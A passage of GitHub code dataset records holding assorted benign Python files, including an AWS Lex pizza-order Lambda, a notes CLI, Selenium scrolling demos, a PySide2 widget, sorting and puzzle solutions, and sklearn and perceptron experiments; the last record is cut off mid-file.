print(slots)\n print(intent)\n validation_result = validate(event['sessionState']['intent']['slots'])\n \n if event['invocationSource'] == 'DialogCodeHook':\n if not validation_result['isValid']:\n \n if 'message' in validation_result:\n \n response = {\n \"sessionState\": {\n \"dialogAction\": {\n 'slotToElicit':validation_result['violatedSlot'],\n \"type\": \"ElicitSlot\"\n },\n \"intent\": {\n 'name':intent,\n 'slots': slots\n \n }\n },\n \"messages\": [\n {\n \"contentType\": \"PlainText\",\n \"content\": validation_result['message']\n }\n ]\n } \n else:\n response = {\n \"sessionState\": {\n \"dialogAction\": {\n 'slotToElicit':validation_result['violatedSlot'],\n \"type\": \"ElicitSlot\"\n },\n \"intent\": {\n 'name':intent,\n 'slots': slots\n \n }\n }\n } \n \n return response\n \n else:\n response = {\n \"sessionState\": {\n \"dialogAction\": {\n \"type\": \"Delegate\"\n },\n \"intent\": {\n 'name':intent,\n 'slots': slots\n \n }\n \n }\n }\n return response\n \n if event['invocationSource'] == 'FulfillmentCodeHook':\n \n # Add order in Database\n \n response = {\n \"sessionState\": {\n \"dialogAction\": {\n \"type\": \"Close\"\n },\n \"intent\": {\n 'name':intent,\n 'slots': slots,\n 'state':'Fulfilled'\n \n }\n \n },\n \"messages\": [\n {\n \"contentType\": \"PlainText\",\n \"content\": \"Thanks, I have placed your order for pizza\"\n }\n ]\n }\n \n return response","repo_name":"sauvik258/AWSLambdaFunction","sub_path":"OrderPizzaLambdaFunction_1.py","file_name":"OrderPizzaLambdaFunction_1.py","file_ext":"py","file_size_in_byte":4538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"21548458491","text":"import os\nimport click\nfrom functools import partial\nfrom nom import html2md, parsers, compile, util\nfrom nom.watch import watch_note\nfrom nom.clipboard import get_clipboard_html\n\n@click.group()\ndef cli():\n pass\n\n\ndef compile_note(note, outdir, watch=False, view=False, style=None, templ='default', ignore_missing=False):\n note = util.abs_path(note)\n f = partial(compile.compile_note,\n outdir=outdir,\n templ=templ,\n stylesheet=style,\n ignore_missing=ignore_missing)\n outpath = f(note)\n if view:\n click.launch(outpath)\n if watch:\n watch_note(note, f)\n\n\n@cli.command()\n@click.argument('note')\n@click.option('-w', '--watch', is_flag=True, help='watch the note for changes')\n@click.option('-i', '--ignore', is_flag=True, help='ignore missing assets')\ndef view(note, watch, ignore):\n \"\"\"view a note in the browser\"\"\"\n compile_note(note, '/tmp', view=True, watch=watch, ignore_missing=ignore)\n\n\n@cli.command()\n@click.argument('note')\n@click.argument('outdir')\n@click.option('-w', '--watch', is_flag=True, help='watch the note for changes')\n@click.option('-v', '--view', is_flag=True, help='view the note in the browser')\n@click.option('-s', '--style', help='stylesheet to use', default=None)\ndef export(note, outdir, watch, view, style):\n \"\"\"export a note to html\"\"\"\n compile_note(note, outdir, watch=watch, view=view, style=style)\n\n\n@cli.command()\n@click.argument('note')\n@click.argument('outdir')\n@click.option('-w', '--watch', is_flag=True, help='watch the note for changes')\n@click.option('-v', '--view', is_flag=True, help='view the note in the browser')\n@click.option('-s', '--style', help='stylesheet to use', default=None)\ndef preach(note, outdir, watch, view, style):\n \"\"\"export a note to an html presentation\"\"\"\n compile_note(note, outdir, watch=watch, view=view, style=style, templ='preach')\n\n\n@cli.command()\n@click.option('-s', '--save', help='note path to save to. will download images')\n@click.option('-e', '--edit', is_flag=True, help='edit the note after saving')\n@click.option('-v', '--view', is_flag=True, help='view the note in the browser')\n@click.option('-o', '--overwrite', is_flag=True, help='overwrite existing note')\ndef clip(save, edit, view, overwrite):\n \"\"\"convert html in the clipboard to markdown\"\"\"\n path = save\n html = get_clipboard_html()\n if html is None:\n click.echo('No html in the clipboard')\n return\n\n if path is None:\n content = html2md.html_to_markdown(html).strip()\n click.echo(content)\n return\n\n if not path.endswith('.md'):\n click.echo('Note must have extension \".md\"')\n return\n\n note = util.abs_path(path)\n if os.path.exists(note) and not overwrite:\n click.echo('Note already exists at \"{}\" (specify `--overwrite` to overwrite)'.format(note))\n return\n\n html = parsers.rewrite_external_images(html, note)\n content = html2md.html_to_markdown(html).strip()\n with open(note, 'w') as f:\n f.write(content)\n\n if edit:\n click.edit(filename=note)\n\n if view:\n compile_note(note, '/tmp', view=True)\n","repo_name":"hanleyel/Probabilistic-Music-Generator","sub_path":"env/lib/python3.6/site-packages/nom/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":3159,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24207335028","text":"Fname = input(\"文件名\")\nnum_name = input(\"在第幾行格式 : \")\n\ndef file_view(Fname,num_name):\n#split 分隔法\n\n f = open(Fname)\n\n begin,end = num_name.split(\":\")\n if begin ==\"\":\n begin=\"1\"\n if end ==\"\":\n end = \"-1\"\n begin = int(begin)-1\n end = int(end)\n lines = end - begin\n #消耗begin前的幾行\n for i in range (begin):\n f.readline()\n if 0> lines:\n #打印全部\n print(f.read())\n else:\n for j in range(lines):\n print(f.readline())\n\n f.close()\nfile_view(Fname,num_name)\n","repo_name":"BigChoCho/untitled1","sub_path":"py-re-37-52/ZYF-43-2.py","file_name":"ZYF-43-2.py","file_ext":"py","file_size_in_byte":576,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13366193873","text":"# 문제 설명\n# 스트리밍 사이트에서 장르 별로 가장 많이 재생된 노래를 두 개씩 모아 베스트 앨범을 출시하려 합니다. 노래는 고유 번호로 구분하며, 노래를 수록하는 기준은 다음과 같습니다.\n\n# 속한 노래가 많이 재생된 장르를 먼저 수록합니다.\n# 장르 내에서 많이 재생된 노래를 먼저 수록합니다.\n# 장르 내에서 재생 횟수가 같은 노래 중에서는 고유 번호가 낮은 노래를 먼저 수록합니다.\n# 노래의 장르를 나타내는 문자열 배열 genres와 노래별 재생 횟수를 나타내는 정수 배열 plays가 주어질 때, 베스트 앨범에 들어갈 노래의 고유 번호를 순서대로 return 하도록 solution 함수를 완성하세요.\n\n# 제한사항\n# genres[i]는 고유번호가 i인 노래의 장르입니다.\n# plays[i]는 고유번호가 i인 노래가 재생된 횟수입니다.\n# genres와 plays의 길이는 같으며, 이는 1 이상 10,000 이하입니다.\n# 장르 종류는 100개 미만입니다.\n# 장르에 속한 곡이 하나라면, 하나의 곡만 선택합니다.\n# 모든 장르는 재생된 횟수가 다릅니다.\n\ndef solution(genres, plays):\n answer = []\n hash = {}\n\n for i in range(len(genres)):\n if genres[i] in hash:\n hash[genres[i]].append((plays[i],i)) \n else:\n hash[genres[i]] = [(plays[i],i)]\n\n print(hash)\n\n total_play = {}\n for g in hash.keys():\n sum = 0\n for i in hash[g]:\n sum += i[0]\n total_play[g]=sum\n \n print(list(total_play.values()))\n\n for i in range(len(hash.keys())):\n cur_gen = [k for k, v in total_play.items() if v == max(total_play.values())]\n print(cur_gen[0])\n # for i in hash[cur_gen[0]][:2][1]:\n # print(i)\n temp = []\n for i in hash[cur_gen[0]]:\n temp.append(i[0])\n print(temp)\n del total_play[str(cur_gen[0])]\n\n print()\n # cur_gen = v in total_play.items() if v == max(total_play.values())\n\n return answer\n\n\n# test case 1\ngenres = [\"classic\", \"pop\", \"classic\", \"classic\", \"pop\"]\nplays = [500, 600, 150, 800, 2500]\nprint(solution(genres, plays))\n","repo_name":"Seungyoonkim66/Programmers-Coding-Test","sub_path":"Python/Hash/베스트앨범.py","file_name":"베스트앨범.py","file_ext":"py","file_size_in_byte":2230,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30551998615","text":"#!/usr/bin/python3\nimport sys\nimport os\nimport getopt\nimport codecs\nimport re\n\ndef search(files):\n wordlist = []\n count = 0\n if os.path.exists(files[1]):\n with open(files[1], \"r\") as f:\n line = f.readlines()\n wordlist = [x.strip() for x in line]\n else:\n print(\"ERROR: The file {} is not exist\".format(files[1]))\n\n if os.path.exists(files[0]):\n with codecs.open(files[0], \"r\", 'iso-8859-1') as sf:\n content = sf.read().split(\"\\n\")\n\n for i, line in enumerate(content):\n for word in wordlist:\n if word in line:\n print(\"{} {} \".format(i,line))\n count = count + 1\n break\n else:\n continue\n print(\"Number of matched lines are {}\".format(count))\n else:\n print(\"ERROR: The file {} is not exist\".format(files[0]))\n\ndef usage():\n print(\"\"\"\\\n ### --------------------------------------------------------------------###\n | Version: 1.0 |\n | Description: searchin is a command line searches inside a file |\n | for a givin words by the user and returns number of matched |\n | lines and their position in the file. |\n | Licence: searchin is free software released under the \"GNU General |\n | Public License v3.0 |\n | Copyright (c) 2021 Aissa Ben yahya - https://github.com/AissaBenyahya |\n ###---------------------------------------------------------------------###\n \"\"\")\n print(\"usage: searchin.py -f -w [-o outputfile]\")\n sys.exit(2)\n\ndef argHandler(argc, argv):\n wordlist = ''\n outputfile = ''\n sfile = '' # The file to search in\n if argc < 2:\n usage()\n else:\n try: \n opts, args = getopt.getopt(argv, \"hf:w:o:\", [\"help=\", \"file=\", \"wordlist=\", \"output\"]) \n except getopt.GetoptError: \n print(\"usage: searchin.py -f -w [-o outputfile]\")\n sys.exit(2)\n for opt, arg in opts:\n if opt == \"-h\":\n usage()\n elif opt in (\"-f\", \"--file\"):\n sfile = arg\n elif opt in (\"-w\", \"--wordlist\"):\n wordlist = arg\n elif opt in (\"-o\", \"--output\"):\n outputfile = arg\n \n if not opts: \n usage()\n return [sfile, wordlist, outputfile]\n \ndef main():\n files = argHandler(len(sys.argv), sys.argv[1:])\n search(files)\n\n\nif __name__ == \"__main__\":\n main() \n","repo_name":"AissaBenyahya/search_in","sub_path":"searchin.py","file_name":"searchin.py","file_ext":"py","file_size_in_byte":2985,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"18156992478","text":"import time\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.by import By\n\natom=webdriver.Chrome()\natom.get(\"https://en.wikipedia.org/wiki/Python_(programming_language)\")\n\ntime.sleep(3)\n###page scroll by pixel\natom.execute_script('window.scrollBy(0,3000)')\n\n\ntime.sleep(3)\n###page scroll by upto specific element\n\nnone=atom.find_element(By.ID,'Design_philosophy_and_features')\natom.execute_script(\"arguments[0].scrollIntoView()\",none)\n\n\n###Scroll till the end page\ntime.sleep(2)\natom.execute_script(\"window.scrollBy(0,document.body.scrollHeight)\")\n\n###scroll to top by pixel\n# time.sleep(3)\n# atom.execute_script('window.scrollBy(0,-document.body.scrollHeight)')\n\n###scroll to top by pixel\ntime.sleep(3)\natom.execute_script(\"window.scrollTo(0,0)\")\n\n#diff between scrollBy and scrollTo\n# It is not same as scrollTo behavior. It means scrollBy always scrolls up or down further from current position.\n# Or you can say scrollBy scrolls by distance from current pixels.\n# Or you can say scrollBy consider current position as (0,0) and scroll further.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n###:HW:--try with another Webside\n\n","repo_name":"rushikeshmore2205/Demo_repo","sub_path":"ScrolligProg.py","file_name":"ScrolligProg.py","file_ext":"py","file_size_in_byte":1117,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"41956527998","text":"from functools import partial\n\nfrom PySide2.QtCore import *\nfrom PySide2.QtWidgets import *\n\nfrom ..editor import EditorScene\nfrom .layerlist import LayerListWidget\n\n\nclass InspectorWidget(QWidget):\n\n image_changed = Signal()\n scene_changed = Signal(EditorScene)\n\n def __init__(self):\n super().__init__()\n self.scene = None\n self.current_image = 0\n self._slider_down_value = 0\n\n self._setup_ui()\n self.slider_box.hide()\n self.layer_box.hide()\n\n def set_scene(self, scene):\n self.scene = scene\n self.current_image = 0\n\n if not scene:\n self.slider_box.hide()\n self.layer_box.hide()\n self._remove_tool_inspector()\n return\n\n self._add_layer_widgets()\n self.slider.setValue(0)\n self.slider.setMaximum(self.scene.image_count-1)\n self.scene_changed.emit(scene)\n\n self.slider_box.show()\n self.layer_box.show()\n\n def show_next(self):\n if self.current_image < self.scene.image_count-1:\n command = ChangeImageCommand(\n self.slider, self.current_image, self.current_image + 1)\n command.setText(\"Next Image\")\n self.scene.undo_stack.push(command)\n\n def show_previous(self):\n if self.current_image > 0:\n command = ChangeImageCommand(\n self.slider, self.current_image, self.current_image - 1)\n command.setText(\"Previous Image\")\n self.scene.undo_stack.push(command)\n\n def change_image(self, idx):\n self.current_image = idx\n active_layer = self.scene.active_layer\n self.scene.load(idx)\n self.slider_box.setTitle(\"Image {0}/{1}\".format(idx+1, self.scene.image_count))\n self._activate_layer(active_layer)\n self.image_changed.emit()\n\n def show_tool_inspector(self):\n self._remove_tool_inspector()\n self._add_tool_inspector()\n\n def _activate_layer(self, idx):\n self.scene.active_layer = idx\n self.scene.update()\n self.show_tool_inspector()\n\n def _slider_pressed(self):\n self._slider_down_value = self.slider.value()\n\n def _slider_released(self):\n command = ChangeImageCommand(\n self.slider, self._slider_down_value, self.slider.value())\n command.setText(\"Change Image\")\n self.scene.undo_stack.push(command)\n\n def _add_tool_inspector(self):\n idx = self.scene.active_layer\n widget = self.scene.layers.tool_widget\n if widget:\n self.dock_layout.insertWidget(1, widget)\n\n def _remove_tool_inspector(self):\n if self.dock_layout.count() <= 3:\n return\n widget = self.dock_layout.itemAt(1).widget()\n if widget:\n widget.deleteLater()\n\n def _add_layer_widgets(self):\n self.layer_box.clear()\n for index, name in enumerate(self.scene.data_store.folders):\n self.layer_box.add(name.title())\n\n def _change_layer_opacity(self, idx, value):\n self.scene.set_layer_opacity(idx, value)\n\n def _setup_ui(self):\n self.dock_layout = QVBoxLayout(self)\n self.dock_layout.setContentsMargins(4, 4, 4, 0)\n\n self.slider_box = QGroupBox(\"Images\")\n self.slider_box.setObjectName(\"imageSlider\")\n hlayout = QHBoxLayout(self.slider_box)\n\n arrow_left = QToolButton(self)\n arrow_left.setMaximumSize(25, 25)\n arrow_left.setArrowType(Qt.LeftArrow)\n left_action = QAction()\n left_action.triggered.connect(self.show_previous)\n arrow_left.setDefaultAction(left_action)\n hlayout.addWidget(arrow_left)\n\n self.slider = QSlider(Qt.Horizontal)\n self.slider.setValue(0)\n self.slider.valueChanged.connect(self.change_image)\n self.slider.sliderPressed.connect(self._slider_pressed)\n self.slider.sliderReleased.connect(self._slider_released)\n hlayout.addWidget(self.slider)\n\n arrow_right = QToolButton()\n arrow_right.setMaximumSize(25, 25)\n arrow_right.setArrowType(Qt.RightArrow)\n right_action = QAction()\n right_action.triggered.connect(self.show_next)\n arrow_right.setDefaultAction(right_action)\n hlayout.addWidget(arrow_right)\n\n self.dock_layout.addWidget(self.slider_box)\n self.layer_box = LayerListWidget()\n self.layer_box.opacity_changed.connect(self._change_layer_opacity)\n self.layer_box.layer_activated.connect(self._activate_layer)\n self.dock_layout.addWidget(self.layer_box)\n self.dock_layout.addItem(\n QSpacerItem(1, 1, QSizePolicy.Minimum, QSizePolicy.Expanding))\n\n\nclass ChangeImageCommand(QUndoCommand):\n\n def __init__(self, slider, old_value, new_value):\n super().__init__()\n self.slider = slider\n self.old_value = old_value\n self.new_value = new_value\n\n def undo(self):\n if self.slider:\n self.slider.setValue(self.old_value)\n\n def redo(self):\n if self.slider:\n self.slider.setValue(self.new_value)\n","repo_name":"justacid/segmate","sub_path":"segmate/widgets/inspector.py","file_name":"inspector.py","file_ext":"py","file_size_in_byte":5080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14309652352","text":"from sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nimport datetime\nfrom orm import Base, Player, Fixture, FixtureHistory, SeasonHistory\nfrom random import randrange\n\nengine = create_engine('sqlite:///dev.db.sqlite')\n# Bind the engine to the metadata of the Base class so that\n\nBase.metadata.bind = engine\n \nDBSession = sessionmaker(bind=engine)\nsession = DBSession()\n \nplayer_id = randrange(600)\n# Insert a Player in the person table\nmata = Player(id=player_id, first_name=\"Juan\")\nsession.add(mata)\n\nfh = [\"19 Aug 20:00\", 1, \"NEW(H) 4-0\", 90, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 22, 11, 0, 60, 10], [\"25 Aug 16:00\", 2, \"CAR(A) 2-3\", 90, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 2, 4, 120945, 61, 1]\nfix_history = FixtureHistory(id=None, player_id=player_id, date_text=\"19 Aug 20:00\", gameweek=1,result=\"NEW(H) 4-0\", minutes_played=90,goals_scored= 0,assists= 1,clean_sheets= 1,goals_conceded= 0,own_goals= 0,penalties_saved= 0,penalties_missed= 0,yellow_cards= 0,red_cards=0,saves= 0,bonus= 1,ea_sports_ppi=22,bonuses_points_system= 11,net_transfers= 0,value= 60,points= 10)\n\nsession.add(fix_history)\n\nseason_history=SeasonHistory(id=None, player_id=player_id, season=\"2012/13\", minutes_played=90,goals_scored= 0,assists= 1,clean_sheets= 1,goals_conceded= 0,own_goals= 0,penalties_saved= 0,penalties_missed= 0,yellow_cards= 0,red_cards=0,saves= 0,bonus= 1,ea_sports_ppi=22,bonuses_points_system= 11,net_transfers= 0,value= 60,points= 10)\nsession.add(season_history)\n\ndt = datetime.datetime.strptime(\"10 Nov 14:05 2013\", '%d %b %H:%M %Y')\ndt2 = datetime.datetime.strptime(\"24 Nov 13:30 2013\", '%d %b %H:%M %Y')\nfixture = Fixture(id=None, date_time=dt, gameweek=11, is_homegame=False, opponent_team_id=16, player_id=player_id)\nfixture2 = Fixture(id=None, date_time=dt, gameweek=11, is_homegame=True, opponent_team_id=18, player_id=player_id)\nsession.add(fixture)\nsession.add(fixture2)\nsession.commit()","repo_name":"sandalsoft/footieviz_py","sub_path":"test_sqla.py","file_name":"test_sqla.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13474982912","text":"#!/usr/bin/python3\n# -*-coding: utf8 -*-\n\nimport pygame\nimport random\nfrom macgiver_game.fonction_chemin import path_to_image\n\n\nclass Labobject(pygame.sprite.Sprite):\n \"\"\"Class for labyrinth objects.\"\"\"\n\n def __init__(self, image, list_, screen):\n \"\"\"\n Constructor of this class.\n\n Parameters :\n\n :param image : the image of the object we want to create.\n :type image : str\n :param list_ : position list where the object can be positioned.\n :type : list\n :param screen : the game screen.\n :type screen : pygame.surface.Surface\n\n The constructor create a Labobject object with an image\n and a random position.\n \"\"\"\n\n super(Labobject, self).__init__()\n self.screen = screen\n path = path_to_image(image)\n self.image = pygame.image.load(path).convert_alpha()\n self.image = pygame.transform.scale(self.image, (20, 20))\n self.rect = self.image.get_rect()\n self.pos = random.choice(list_)\n\n def draw_me(self):\n \"\"\"Display the object image on the game screen.\"\"\"\n\n self.screen.blit(self.image, self.pos)\n","repo_name":"micktymoon/P3_pelletier_celine","sub_path":"src/macgiver_game/classes/class_object.py","file_name":"class_object.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73280901546","text":"def get_partition(arr, left, right):\n pivot = arr[right]\n start = left\n \n for i in range(left,right):\n if arr[i]<=pivot:\n arr[start],arr[i] = arr[i],arr[start] # swap the smaller elements to the left\n start+=1\n \n arr[start],pivot = pivot,arr[start]\n # left to start are the elements less than pivot and right to start are the elements greater than pivot\n return start\n\n\ndef quick_sort(arr,start,end):\n if start>end:\n return\n\n partition = get_partition(arr,start,end)\n\n quick_sort(arr, start, partition-1)\n quick_sort(arr,partition+1, end)\n\n\nif __name__==\"__main__\":\n arr = [7,2,37,89,26,37,2,2,1,100,377,568,1000,389783,645,0,-1,-293,-4567]\n '''\n [7,2]\n '''\n quick_sort(arr,0,len(arr)-1)\n print(arr)\n arr1 = [4, 5, 1, 2, 3]\n '''\n [4, 5, 1, 2, 3]\n 1, 5, 4, 2 ,3\n 1, 2 ,4 5, 3\n\n 1, 2, 3, 5, 4\n '''\n arr2 = [1, 2, 3, 4, 5]\n quick_sort(arr1,0,len(arr1)-1)\n quick_sort(arr2,0,len(arr2)-1)\n print(arr1)\n print(arr2)","repo_name":"Dhanu084/DS","sub_path":"Sorting/QuickSort.py","file_name":"QuickSort.py","file_ext":"py","file_size_in_byte":1051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"24315645346","text":"import numpy as np\nimport os\n\nfrom sklearn import svm\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.tree import DecisionTreeClassifier\nfrom sklearn.ensemble import RandomForestClassifier\n\nglobal X_test\nglobal y_test\nglobal X_train\nglobal y_train\n\ndef getDataset():\n global X_test\n global y_test\n global X_train\n global y_train\n\n X_test = np.loadtxt(os.path.normpath('in/Test/X_test.txt'), delimiter=' ')\n y_test = np.loadtxt(os.path.normpath('in/Test/y_test.txt'))\n X_train = np.loadtxt(os.path.normpath('in/Train/X_train.txt'), delimiter=' ')\n y_train = np.loadtxt(os.path.normpath('in/Train/y_train.txt'))\n\ndef buildClassifiers(type):\n if type == 'SVM':\n return svm.SVC().fit(X_train, y_train)\n elif type == 'kNN':\n return KNeighborsClassifier().fit(X_train, y_train)\n elif type == 'DT':\n return DecisionTreeClassifier().fit(X_train, y_train)\n elif type == 'RF':\n return RandomForestClassifier().fit(X_train, y_train)\n\ndef average(lst):\n return sum(lst) / len(lst)\n\n\nif __name__ == '__main__':\n getDataset()\n\n svmClassifier = buildClassifiers('SVM')\n knnClassifier = buildClassifiers('kNN')\n dtClassifier = buildClassifiers('DT')\n rfClassifier = buildClassifiers('RF')\n\n\n cvsSvm = cross_val_score(svmClassifier, X_train, y_train, cv=5)\n cvsKnn = cross_val_score(knnClassifier, X_train, y_train, cv=5)\n cvsDt = cross_val_score(dtClassifier, X_train, y_train, cv=5)\n cvsRf = cross_val_score(rfClassifier, X_train, y_train, cv=5)\n\n print('SVM:')\n print(cvsSvm)\n print('kNN:')\n print(cvsKnn)\n print('DT:')\n print(cvsDt)\n print('RF:')\n print(cvsRf)\n\n print('---Wartości średniej z klasyfikacji---')\n print('SVM:')\n print(\"%f\" % (average(cvsSvm)))\n print('kNN:')\n print(\"%f\" % (average(cvsKnn)))\n print('DT:')\n print(\"%f\" % (average(cvsDt)))\n print('RF:')\n print(\"%f\" % (average(cvsRf)))\n\n print('---Średnie odchylenie standardowe z wyników klasyfikacji---')\n print('SVM:')\n print(\"%f\" % (np.std(cvsSvm)))\n print('kNN:')\n print(\"%f\" % (np.std(cvsKnn)))\n print('DT:')\n print(\"%f\" % (np.std(cvsDt)))\n print('RF:')\n print(\"%f\" % (np.std(cvsRf)))","repo_name":"filerd002/Algorithms-and-data-mining","sub_path":"lab3_4.py","file_name":"lab3_4.py","file_ext":"py","file_size_in_byte":2284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72378344107","text":"n=int(input())\nm=int(input())\np=input()\nfor i in range(n):\n for j in range(m):\n list=p.split()\n \n print(list)\na=(max(list))\nb=map(int, list[0])\nc=map(int, list[1])\nprint(b+c) \nz=list[2]+list[0]\nprint(b)\n","repo_name":"hrshru/Python-Project","sub_path":"testcase.py","file_name":"testcase.py","file_ext":"py","file_size_in_byte":224,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"22120519106","text":"#\n# Template -- please add code for the two functions\n# getMedian\n# getAbsoluteStandardDeviation\n#\n# also download the file athletesTrainingSet.txt, which you should\n# put in the same folder as this file.\n \n \n\nclass Classifier:\n\n def __init__(self, filename):\n\n self.medianAndDeviation = []\n \n # reading the data in from the file\n f = open(filename)\n lines = f.readlines()\n f.close()\n self.format = lines[0].strip().split('\\t')\n self.data = []\n for line in lines[1:]:\n fields = line.strip().split('\\t')\n ignore = []\n vector = []\n for i in range(len(fields)):\n if self.format[i] == 'num':\n vector.append(int(fields[i]))\n elif self.format[i] == 'comment':\n ignore.append(fields[i])\n elif self.format[i] == 'class':\n classification = fields[i]\n self.data.append((classification, vector, ignore))\n self.rawData = list(self.data)\n \n\n \n \n ##################################################\n ###\n ### FINISH THE FOLLOWING TWO METHODS\n\n def getMedian(self, alist):\n \"\"\"return median of alist\"\"\"\n\n \"\"\"TO BE DONE\"\"\"\n return 0\n \n\n def getAbsoluteStandardDeviation(self, alist, median):\n \"\"\"given alist and median return absolute standard deviation\"\"\"\n\n \"\"\"TO BE DONE\"\"\"\n return 0\n\n \n ###\n ### \n ##################################################\n\n\n\ndef unitTest():\n list1 = [54, 72, 78, 49, 65, 63, 75, 67, 54]\n list2 = [54, 72, 78, 49, 65, 63, 75, 67, 54, 68]\n list3 = [69]\n list4 = [69, 72]\n classifier = Classifier('athletesTrainingSet.txt')\n m1 = classifier.getMedian(list1)\n m2 = classifier.getMedian(list2)\n m3 = classifier.getMedian(list3)\n m4 = classifier.getMedian(list4)\n asd1 = classifier.getAbsoluteStandardDeviation(list1, m1)\n asd2 = classifier.getAbsoluteStandardDeviation(list2, m2)\n asd3 = classifier.getAbsoluteStandardDeviation(list3, m3)\n asd4 = classifier.getAbsoluteStandardDeviation(list4, m4)\n assert(round(m1, 3) == 65)\n assert(round(m2, 3) == 66)\n assert(round(m3, 3) == 69)\n assert(round(m4, 3) == 70.5)\n assert(round(asd1, 3) == 8)\n assert(round(asd2, 3) == 7.5)\n assert(round(asd3, 3) == 0)\n assert(round(asd4, 3) == 1.5)\n \n print(\"getMedian and getAbsoluteStandardDeviation work correctly\")\n\nunitTest()\n \n","repo_name":"zacharski/pg2dm-python","sub_path":"ch4/testMedianAndASD.py","file_name":"testMedianAndASD.py","file_ext":"py","file_size_in_byte":2560,"program_lang":"python","lang":"en","doc_type":"code","stars":870,"dataset":"github-code","pt":"37"} +{"seq_id":"8956046630","text":"#!/usr/bin/python3\n# -*-encoding:utf8-*-\n\nimport time\nimport Dataset\nimport Perceptron\nimport CrossValScore\n\n\nresultados = []\nfor i in range(300):\n dt = Dataset.Dataset('hill.csv')\n model = Perceptron.Perceptron(epochs=i, activation='sig')\n \n # value = CrossValScore.cross_val_score(model, dt, 10).mean()*100\n dt, test = dt.split_dados(0.8)\n \n inicio = time.time()\n model.train(dt)\n value = model.predict(test)*100\n fim = time.time()\n \n tempo = fim - inicio\n resultados.append((i, value, tempo))\n print(\">> Concluidos: \", i)\n\nwith open('resultados_epochs_sig.txt', 'w') as f:\n f.write(\"Testes de variação de epocas de treino para a rede neural com a base de dados Hill.\\nFormato (Qt. epocas, Accuracy, Tempo de execução)\\n\")\n for linha in resultados:\n f.write(str(linha)+'\\n')\n","repo_name":"juliocmalvares/ComputerEngineering","sub_path":"Data-Mining/Classification/Hill/teste_epochs.py","file_name":"teste_epochs.py","file_ext":"py","file_size_in_byte":836,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73551363947","text":"from os import path\nimport math\n\nprint(\"enter total rounds\")\ntotal_rounds = int(input())\nprint(\"enter level of monkey worry\")\nworry_level = int(input())\n\nwith open(path.join(path.dirname(__file__), \"input.txt\")) as f:\n input_monkeys = f.read().splitlines()\n\narr_monkeys = []\n\ndef calc_lcm(monkeys: list) -> int:\n getLCM = math.lcm(\n * map(\n lambda m: m['test'], monkeys\n )\n )\n return getLCM\n\ndef run_rounds(monkeys: list, rounds: int, worry_amount: int) -> int:\n inspected = [0] * len(monkeys)\n lcm_answer = calc_lcm(monkeys)\n monkey_business = [monkey['items'][:] for monkey in monkeys]\n for _ in range(rounds):\n for i, monkey in enumerate(monkeys):\n while monkey_business[i]:\n item = monkey_business[i].pop(0)\n operation = monkey['operation'] \\\n .replace('old', str(item))\n value_oper = eval(operation) // worry_amount\n target_monkey = monkey['true'] if value_oper % monkey['test'] == 0 else monkey['false']\n monkey_business[target_monkey] \\\n .append(value_oper if worry_amount != 1 else value_oper % lcm_answer)\n inspected[i] += 1\n inspected.sort()\n return inspected[-1] * inspected[-2]\n\nfor value in range(0, len(input_monkeys), 7):\n starting_items = input_monkeys[value+1].split(':')[1]\n arr_monkeys.append({\n 'items': list(map(int, starting_items.split(','))),\n 'operation': input_monkeys[value+2].split('=')[1].strip(),\n 'test': int(input_monkeys[value+3].split()[-1]),\n 'true': int(input_monkeys[value+4].split()[-1]),\n 'false': int(input_monkeys[value+5].split()[-1])\n })\n\nprint(\"Answer\",\n run_rounds(\n monkeys=arr_monkeys,\n rounds=total_rounds,\n worry_amount=worry_level\n )\n)\n\n\n","repo_name":"tkruer/advent-of-code-2022","sub_path":"day_eleven/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1882,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"30808320651","text":"import matplotlib.pyplot as plt\n\n\ndef figure3d(*args, orthographic=True, **kwargs):\n \"\"\"\n Creates a new 3D figure. Args and kwargs are passed into matplotlib.pyplot.figure().\n\n Returns: (fig, ax)\n\n \"\"\"\n fig = plt.figure(*args, **kwargs)\n\n axes_args = dict(\n projection='3d'\n )\n if orthographic:\n axes_args[\"proj_type\"] = 'ortho'\n\n ax = plt.axes(**axes_args)\n return fig, ax\n\n\nif __name__ == '__main__':\n figure3d()\n","repo_name":"Mohamedelrefaie/AeroSandbox","sub_path":"aerosandbox/tools/pretty_plots/threedim.py","file_name":"threedim.py","file_ext":"py","file_size_in_byte":462,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"24392326486","text":"from numpy import *\n\ndef chiSQ(x, y):\n\tcl = unique(y)\n\trows = x.shape[0]\n\tdim = x.shape[1]\n\tvalCHI = 